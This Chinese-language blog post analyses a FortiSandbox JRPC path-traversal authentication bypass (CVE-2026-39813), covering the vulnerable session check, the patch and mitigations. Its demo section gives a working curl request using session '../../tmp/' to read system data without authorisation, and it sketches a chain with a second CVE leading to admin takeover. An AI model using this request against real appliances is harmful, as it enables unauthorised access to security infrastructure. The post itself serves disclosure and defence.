Post

CVE-2026-39813 深度分析:FortiSandbox JRPC API 路径遍历认证绕过

CVE-2026-39813 深度分析:FortiSandbox JRPC API 路径遍历认证绕过

一个精心构造的 ../../tmp/ 如何绕过认证体系,读取 FortiSandbox 全部系统信息

背景

2026 年 4 月 14 日,Fortinet 发布了 FG-IR-26-112 安全公告,披露了 FortiSandbox 产品中一个严重的路径遍历漏洞 CVE-2026-39813(CVSS 9.1)。该漏洞影响 FortiSandbox 4.4.0–4.4.8 和 5.0.0–5.0.5 版本,已在 4.4.9 和 5.0.6 中修复。

本文基于固件逆向分析,从字节码层面还原漏洞的完整利用链。

摘要

  • 漏洞类型: JRPC API 的 is_valid_session() 函数将用户输入的 session 字段直接拼入文件路径 os.path.join(DIRRPCSESS, session_id),未进行输入验证
  • 利用条件: 构造 session: "../../tmp/" 即可绕过认证——/tmp/ 目录始终存在且 mtime 持续刷新
  • 影响范围: 未授权读取系统版本、主机名、序列号、CPU/内存/磁盘使用率、扫描配置等;可下载 32KB 加密系统备份
  • 前置条件: 无需任何凭据,单条 HTTP 请求即可触发

认证架构分析

FortiSandbox 的 Web 管理界面基于 Django,使用两层认证架构保护 API:

1
2
3
4
5
6
7
8
HTTP 请求
  │
  ├── 第一层:Django 中间件 FSAuthenticationMiddleware
  │     ├── /jsonrpc 在 AUTH_PATH_EXCEPTIONS 白名单中 → 直接放行
  │     └── 其他路径 → authenticate() 检查 session cookie
  │
  └── 第二层:JRPC 自带认证
        └── is_valid_session() 检查 session_id 是否有效

第一层: /jsonrpc 被列入中间件白名单,Django 层不对其进行认证检查。这是设计意图——JRPC 有独立的 session 认证体系。

第二层: 该独立认证体系存在路径遍历漏洞。

漏洞根因分析

漏洞位于 apps/jsonrpc/rpcsession.pyc 中的 is_valid_session() 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
# 字节码还原的伪代码 (CPython 3.10)
def is_valid_session(session_id, remote_ip):
    fpath = os.path.join(DIRRPCSESS, session_id)  # DIRRPCSESS = "/usr/rpcsess/"

    if not os.path.exists(fpath):
        return False

    mtime = os.path.getmtime(fpath)
    if time.time() - mtime > RPC_SESSION_TIMEOUT:  # 3600 秒
        return False

    renew_session(fpath)  # os.path.utime(fpath, None) — 刷新 mtime
    return True

session_id 来自 HTTP 请求的 JSON body,属于用户可控输入,但函数在传入 os.path.join() 之前未进行任何过滤或格式校验:

输入 解析路径 效果
"abc123def456abc123def456abc123de" (合法 session) /usr/rpcsess/abc123def456abc123def456abc123de 正常认证
"../../tmp/" (攻击) /usr/rpcsess/../../tmp/ = /tmp/ 绕过认证
"../../etc/hostname" (攻击) /usr/rpcsess/../../etc/hostname = /etc/hostname 绕过认证

os.path.join() 会保留前导的 ..,Python 标准库不会自动净化路径。只要目标路径满足两个条件就通过验证:

  1. 文件/目录存在
  2. mtime 在 3600 秒以内

为什么 /tmp/ 是最佳选择

攻击者需要构造一个始终存在且 mtime 持续刷新的路径。/tmp/ 是可靠的选择:

  • 所有运行中的 FortiSandbox 实例均存在 /tmp/ 目录
  • 系统的 cron 任务、日志轮转、Redis 缓存等会持续写入该目录
  • renew_session() 在验证通过后调用 os.path.utime(fpath, None) 刷新 mtime,使得只要每小时至少请求一次,session 即不会过期

攻击演示

1. 未授权获取系统信息

1
2
3
4
5
6
7
8
9
curl -k -X POST "https://TARGET/fortisandbox/jsonrpc/" \
  -H "Content-Type: application/json" \
  -d '{
    "id": 1,
    "session": "../../tmp/",
    "method": "get",
    "params": [{"url": "sys/status"}],
    "ver": "2.0"
  }'

响应中包含 26 个字段的系统信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
{
  "result": {
    "status": {"code": 0, "message": "OK"},
    "data": {
      "Version": "FortiSandbox-VM v4.48,build0412,251007 (GA)",
      "Serial-Number": "FSA-VM0000000000",
      "Hostname": "FSA-VM0000000000",
      "System-Time": "2026-04-21 10:30:00",
      "Disk-Usage": "2.05%",
      ...
    }
  }
}

2. 批量探测 50+ 个 JRPC 端点

经过对固件的完整审计,JRPC API 暴露了以下端点:

类别 端点 未授权可读
系统信息 sys/status, sys/system_resource 可读
扫描配置 config/scan/options, config/scan/file_exts 可读
系统备份 backup/config 可读 (32KB 加密)
网络配置 config/system/interface, config/system/dns 需权限
管理员管理 config/system/administrator 需权限

只读端点(无 has_admin_write_permission 检查的)可完全绕过认证获取数据。

3. 下载加密系统备份

1
backup/config → 返回 32KB OpenSSL 加密数据(Salted__ 前缀)

加密密钥存储在 /etc/secret_key。如果能同时读取该文件,即可解密完整系统配置。

process() 双路径设计问题

在审计过程中还发现 rpc.pycprocess() 函数存在两条请求处理路径:

1
2
3
4
5
6
7
8
路径 A(form-urlencoded POST):
  data = json.loads(request.POST['data'])
  is_valid_session(data['session'], remote_ip)  ← 有 session 检查
  ↓ True → 继续处理

路径 B(JSON body / 回退):
  json.loads(request.body)  ← 直接解析
  → URL 路由分发  ← 完全不检查 session!

路径 B(Content-Type: application/json)完全跳过了 is_valid_session() 调用。这意味着 JSON 格式的请求不仅不受中间件限制,连 RPC 层的 session 检查也被绕过了。安全完全依赖各 handler 内部的权限检查。

权限模型分析

部分高危操作(修改密码、修改网络配置)有额外保护:

1
2
3
def has_admin_write_permission(sess_id):
    user = get_username_by_sessionid(sess_id)  # 从 session 文件读取用户名
    perm = get_user_privileges(user)             # 查询数据库权限

session../../tmp/ 时:

  • get_username_by_sessionid() 尝试 open("/tmp/", "r") → 目录 → 抛出 IsADirectoryError
  • 异常被捕获 → 返回 INVALID_SESSION

因此,需要管理员权限的写操作在路径遍历场景下被阻止。但只读端点的信息泄露已构成严重的安全风险。

修复方案分析

Fortinet 在 4.4.9 中的修复非常简洁——在路径拼接之前添加正则白名单:

1
2
3
4
5
6
7
8
9
10
# 4.4.9 修复后的 is_valid_session()
def is_valid_session(session_id, remote_ip):
    md5_pattern = '^[a-fA-F0-9]{32}$'
    is_md5 = bool(re.match(md5_pattern, str(session_id)))

    if not is_md5:
        return False  # 只允许 32 位十六进制字符串

    fpath = os.path.join(DIRRPCSESS, session_id)
    # ... 后续不变

通过字节码对比确认:

1
2
3
4.4.8: Locals: 5  | Names: os, path, join, DIRRPCSESS, ...
4.4.9: Locals: 7  | Names: os, path, join, ..., bool, re, match, str
                     Constants: 新增 '^[a-fA-F0-9]{32}$'

这个修复彻底解决了问题——合法 session ID 由 secrets.token_hex(16) 生成,固定为 32 位十六进制字符串,正则严格匹配该格式。

与 CVE-2026-39808 的关联

CVE-2026-39813 与同一天公告的 CVE-2026-39808(命令注入,CVSS 9.1)组合可形成完整的攻击链:

1
2
3
4
5
6
7
8
9
CVE-2026-39813(信息泄露)
  → 获取系统版本、序列号、配置信息
  → 确认目标是否为有价值的攻击目标
  → 下载加密备份(配合其他漏洞解密)

CVE-2026-39808(命令注入,已修复)
  → 在 /usr/rpcsess/ 创建伪造 session 文件(内容为 "admin")
  → 绕过 CVE-2026-39813 中 has_admin_write_permission 的限制
  → 修改管理员密码,完全接管设备

值得注意的是,CVE-2026-39813 完全不需要已知 RCE,纯 HTTP 请求即可触发信息泄露。相比之下,CVE-2026-39808 虽然更危险(root RCE),但需要能触发扫描才能利用。

时间线

日期 事件
2026-04-14 Fortinet 发布 FG-IR-26-112 公告
2026-04-14 同时发布 CVE-2026-39808(FG-IR-26-111)
2026-04-21 固件逆向分析,复现漏洞
2026-04-22 独立验证 4.4.9 修复有效

缓解措施

  1. 立即升级到 FortiSandbox 4.4.9 或 5.0.6+
  2. 如果无法立即升级:
    • 通过 WAF 规则阻断包含 ../ 的 JRPC 请求
    • 限制 /jsonrpc/ 端点的网络访问(仅允许可信 IP)
  3. 检查日志中是否存在异常的 /jsonrpc/ 请求

总结

CVE-2026-39813 是典型的路径遍历导致认证绕过漏洞——用户可控输入未经验证直接传入路径拼接函数,使得攻击者可以构造任意文件系统路径通过认证检查。该漏洞被评为 CVSS 9.1 的原因在于:信息泄露本身的影响范围广泛,且 FortiSandbox 作为网络安全产品,其被攻破后对所在网络的安全态势构成严重威胁。

该案例再次表明:即使存在自定义的认证体系,如果缺少基础输入验证,整个认证架构的安全性将无法得到保障。

参考链接

This post is licensed under CC BY 4.0 by the author.